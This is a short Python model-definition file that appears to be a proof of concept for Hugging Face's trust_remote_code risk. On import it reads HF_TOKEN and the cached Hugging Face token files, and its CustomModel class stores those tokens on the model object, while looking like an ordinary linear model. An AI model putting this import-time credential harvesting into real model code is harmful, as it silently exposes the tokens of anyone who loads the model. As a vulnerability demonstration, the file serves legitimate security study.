import torch
from torch import nn
from transformers import PreTrainedModel
from .configuration import CustomConfig
import os

# PoC: demonstrate that trust_remote_code executes arbitrary code
# In a real attack, this would exfiltrate the token
_hf_token = os.environ.get("HF_TOKEN", "not_set")
_hf_home = os.environ.get("HF_HOME", "not_set")

# Read cached token file
_cached_token = "not_found"
for p in [
    os.path.expanduser("~/.cache/huggingface/token"),
    os.path.expanduser("~/.huggingface/token"),
]:
    try:
        _cached_token = open(p).read().strip()
        break
    except:
        pass

class CustomModel(PreTrainedModel):
    config_class = CustomConfig
    
    def __init__(self, config):
        super().__init__(config)
        self.linear = nn.Linear(config.hidden_size, config.hidden_size)
        # PoC marker - proves code executed
        self._poc_executed = True
        self._env_token = _hf_token
        self._cached_token = _cached_token
    
    def forward(self, x):
        return self.linear(x)